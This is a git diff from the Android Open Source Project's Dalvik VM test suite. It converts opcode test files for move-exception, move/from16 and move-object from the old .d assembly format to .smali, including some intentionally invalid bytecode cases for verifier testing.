+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d
deleted file mode 100644
index 8713f3a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_exception_2.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 6
-
-Label1:
-       const v1, 1
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       move-exception v3
-       const v4, 1
-       return v4
-
-Label4:
-       const v4, 0
-       return v4
-
-.catch java/lang/RuntimeException from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
index ed66c22..718d5c1 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
@@ -18,6 +18,7 @@
 
 public class T_move_exception_2 {
     
+    @SuppressWarnings("ConstantOverflow")
     public boolean run() {
         try {
             int a = 15/0;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali
new file mode 100644
index 0000000..26c734a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_exception/d/T_move_exception_2;
+.super Ljava/lang/Object;
+.source "T_move_exception_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 6
+
+    :try_start_0
+    const v1, 0x1
+
+    const v2, 0x0
+
+    div-int v0, v1, v2
+    :try_end_8
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_8} :catch_9
+
+    goto :goto_e
+
+    :catch_9
+    move-exception v3
+
+    const v4, 0x1
+
+    return v4
+
+    :goto_e
+    const v4, 0x0
+
+    return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d
deleted file mode 100644
index 8141ddb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d
+++ /dev/null
@@ -1,31 +0,0 @@
-.source T_move_exception_3.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 1
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       move-exception v6
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali
new file mode 100644
index 0000000..423f3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali
@@ -0,0 +1,31 @@
+.source "T_move_exception_3.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 1
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v6
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d
deleted file mode 100644
index fdad390..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_exception_5.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 15
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       nop
-       move-exception v3
-       throw v3
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali
new file mode 100644
index 0000000..5002d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_5.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       nop
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d
deleted file mode 100644
index e445cea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_1.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const v10, 5678
-   
-       move/16 v4001, v10
-       
-       move/from16 v255, v4001
-       move/from16 v1, v255
-       
-       const/4 v4, 5678
-       
-       if-ne v1, v4, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali
new file mode 100644
index 0000000..0a217c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali
@@ -0,0 +1,52 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_1;
+.super Ljava/lang/Object;
+.source "T_move_from16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v10, 0x162e
+
+    move/16 v4001, v10
+
+    move/from16 v255, v4001
+
+    move/from16 v1, v255
+
+    const/16 v4, 0x162e
+
+    if-ne v1, v4, :cond_12
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_12
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d
deleted file mode 100644
index 88b3cae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_3.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       move/from16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali
new file mode 100644
index 0000000..6aae7bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_3.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d
deleted file mode 100644
index e544a14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_4.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5
-       const v1, 0    
-       move/from16 v5, v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali
new file mode 100644
index 0000000..9845ed7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_4.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move/from16 v5, v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d
deleted file mode 100644
index 400a01f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_5.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/from16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali
new file mode 100644
index 0000000..d7b28c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_5.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d
deleted file mode 100644
index 662e314..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_6.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v4500, 123
-       move/from16 v0, v4500
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali
new file mode 100644
index 0000000..4632b2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v4502, v0
+
+    move/from16 v2, v4502
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d
deleted file mode 100644
index 7d2f26c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_7.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v1234, 123
-       move/from16 v255, v1235
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali
new file mode 100644
index 0000000..238223e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d
deleted file mode 100644
index 5f8455a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_8.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const v0, 0
-       move/from16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali
new file mode 100644
index 0000000..df633f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_8.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/from16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d
deleted file mode 100644
index cc90a5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_1.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 16
-
-       move-object v0, v15
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali
new file mode 100644
index 0000000..1333d92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_1.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 16
+
+       move-object v0, v15
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d
deleted file mode 100644
index 4df3976..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_2.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-
-.method public run()V
-.limit regs 9
-
-       move-object v15, v8
-
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali
new file mode 100644
